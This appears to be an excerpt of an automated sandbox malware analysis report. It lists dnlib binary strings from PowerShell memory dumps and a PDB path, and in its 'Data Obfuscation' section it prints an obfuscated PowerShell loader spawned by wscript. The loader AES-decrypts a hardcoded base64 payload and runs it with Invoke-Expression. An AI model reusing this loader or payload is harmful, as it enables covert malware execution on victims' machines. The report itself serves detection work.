              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeRefByName source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetScopeProps source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMember source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPropertyProps source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumParams source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.MergeEnd source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetEventProps source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumCustomAttributes source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldProps source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumModuleRefs source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeProps source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldProps source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineParam source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteToken source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetClassLayout source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineNestedType source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUnresolvedMethods source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumPermissionSets source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Managed source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetRVA source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleFromScope source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethodImpl source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePinvokeMap source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineSecurityAttributeSet source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetClassLayout source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMemberRef source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPermissionSetProps source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetTypeDefProps source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineProperty source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldRVA source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeDefByName source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetModuleProps source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFieldsWithName source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMemberRefs source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResolveTypeRef source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToStream source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodSemantics source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeDefProps source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMethod source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNestedClassProps source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeletePinvokeMap source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromTypeSpec source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodImplFlags source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPinvokeMap source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPinvokeMap source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumSignatures source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldMarshal source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUserStrings source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetRVA source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePermissionSet source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodProps source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPropertyProps source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetUserString source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetInterfaceImplProps source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldMarshal source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeDef source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeDefs source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportMember source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumInterfaceImpls source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberProps source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportType source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromSig source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumEvents source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamForMethodIndex source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineField source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodsWithName source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsGlobal source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetEventProps source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: H:\New Private Panell Src 3.0 New\New Private Panell Src 3.0 2025\New Private Panell Src 3.0\dnlib-fuscator-master win7\src\obj\Debug\dnlib.pdb source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: ~WRF{01C6C27F-A561-40CD-B0F2-2BC57BD07727}.tmp.0.drInitial sample: OLE indicators vbamacros = False

              Data Obfuscation

              barindex
              Obfuscated command line found
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI16942742004897547110020442916503CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIAiyJ4w4PDxrjYBTpE+kCMXAi0n0WFrEwTQqO6Ll9vCemso5/Wu4WU8DFicwqoQGgHUNsDgf18ada181Zl+9aIMRyGbBhOQL1xtRLUPEYoMibGKdW5HX/pyEQS0Jw3Vh2+CYHtXZW4mAXpPVkuI6gUlIz8DEsOP8YwWP+kL3LpnXUvoD/qBKfflwTqLdaSslAUZJBizi2g2Z8nGQwpbShstgk8iXwe1n31tDVYVkp3T5T5WY1HmUD74K+YmOudrHG5Myz3duSqcna3IjfjlEbg/ZIO/KCvQGjgfJjV8ugk/Yy2P5Oa+5QFOgc8iixUoiNIoPAYztidKVOOGmbgFMbkku0XGVqmJjKcyMtEJtArogT9aYZx/ed96FLgWK+okfu0GPY3zgarb0LJ0UOULymAYnqJJj3ofVS7De8JjcTEqBknfr/caOlBiLhsYNQWSOgsDhrRvf5YYzMpM83vqh06V2szJv2yAB9LsAHIGxJWtU+c0ovHZ5Vdqtl/xa+xpgCscC3s+9s4OttMJQD+Y6OgggjtZYrP3PNltGTuGXGV6FdDehpSU/xdy/8GAxcGUjH9Mr8gb130Pu+0YBW9HdBQ2iWvdVhvMv9Qexc/zgzM2wKPrSh6KwTAbvQCmsP7v0n0diE/lfStsBI95daYr1R09j361KgVwHJfGtSYJKTiZxk3Kjr8ned9cTP7Hr1sIs66dD0GkNgVgIBM3hQi4l/JbuLztLdOqUSCMtPOJbMVvd+MpGtoXPGCTnJjImLTYVVP67C5k3Tf8ib1O6pKQeQcxhQ5hyr1qq3EQ0hJl5ZNCjy/SUT8QdLtfUcum3xRlxAeH032MIpclIzJhwFgmOsJsKiJLds99V3vTPgCXZZnxnNS2du/73NT4UYFNd4J7+I54BTGng1g4J6A5nhvO9KkoFS0c0denf7crIdeMf7pSj0inJztc2aRCT3AEJT3zVJwCBYKOYKPppt5njp0JLB5aB1OBZOO8YTYn1Zek16QtXF/UDhcFSHjS/B3tfXkD2tRnhujolV+Fes7ISTg3tPOFFvRigpQFL4IgLPiP2k7alWxEZHAX+W9FTNKh054AIMuEYzSP0JTVG2VJBq1OAfoQjhBvwQGKAAzRNd+6L+lgQp6ASIjm8tteW0NYUDIsW5x5Js0LElEjrFSiSmbujrdPEw/2oL5TaVIPCWAWwofdzk+coQ0nI1BV4Ecz4/ITbC8RsV1s7k18zvJwByHMIMM9IrxaprgzKSCaODhTKxF53rNwycY7cipt+8OD/N5OYtYZcvj7SdQKqL5DqbVs23F23QxJW9fAyZGdFz8Roqgg9TRDb2FyYfFHPkwCgRN8f9lD4F+Xjt70yId/tbDb3DUwEzhVgMNSBmOaW6o9DawkzEHDJcdtOzPNSKtye26n8CIG+NRXD0lhN5RBg3MLzMew==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI16942742004897547110020442916503CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIAiyJ4w4PDxrjYBTpE+kCMXAi0n0WFrEwTQqO6Ll9vCemso5/Wu4WU8DFicwqoQGgHUNsDgf18ada181Zl+9aIMRyGbBhOQL1xtRLUPEYoMibGKdW5HX/pyEQS0Jw3Vh2+CYHtXZW4mAXpPVkuI6gUlIz8DEsOP8YwWP+kL3LpnXUvoD/qBKfflwTqLdaSslAUZJBizi2g2Z8nGQwpbShstgk8iXwe1n31tDVYVkp3T5T5WY1HmUD74K+YmOudrHG5Myz3duSqcna3IjfjlEbg/ZIO/KCvQGjgfJjV8ugk/Yy2P5Oa+5QFOgc8iixUoiNIoPAYztidKVOOGmbgFMbkku0XGVqmJjKcyMtEJtArogT9aYZx/ed96FLgWK+okfu0GPY3zgarb0LJ0UOULymAYnqJJj3ofVS7De8JjcTEqBknfr/caOlBiLhsYNQWSOgsDhrRvf5YYzMpM83vqh06V2szJv2yAB9LsAHIGxJWtU+c0ovHZ5Vdqtl/xa+xpgCscC3s+9s4OttMJQD+Y6OgggjtZYrP3PNltGTuGXGV6FdDehpSU/xdy/8GAxcGUjH9Mr8gb130Pu+0YBW9HdBQ2iWvdVhvMv9Qexc/zgzM2wKPrSh6KwTAbvQCmsP7v0n0diE/lfStsBI95daYr1R09j361KgVwHJfGtSYJKTiZxk3Kjr8ned9cTP7Hr1sIs66dD0GkNgVgIBM3hQi4l/JbuLztLdOqUSCMtPOJbMVvd+MpGtoXPGCTnJjImLTYVVP67C5k3Tf8ib1O6pKQeQcxhQ5hyr1qq3EQ0hJl5ZNCjy/SUT8QdLtfUcum3xRlxAeH032MIpclIzJhwFgmOsJsKiJLds99V3vTPgCXZZnxnNS2du/73NT4UYFNd4J7+I54BTGng1g4J6A5nhvO9KkoFS0c0denf7crIdeMf7pSj0inJztc2aRCT3AEJT3zVJwCBYKOYKPppt5njp0JLB5aB1OBZOO8YTYn1Zek16QtXF/UDhcFSHjS/B3tfXkD2tRnhujolV+Fes7ISTg3tPOFFvRigpQFL4IgLPiP2k7alWxEZHAX+W9FTNKh054AIMuEYzSP0JTVG2VJBq1OAfoQjhBvwQGKAAzRNd+6L+lgQp6ASIjm8tteW0NYUDIsW5x5Js0LElEjrFSiSmbujrdPEw/2oL5TaVIPCWAWwofdzk+coQ0nI1BV4Ecz4/ITbC8RsV1s7k18zvJwB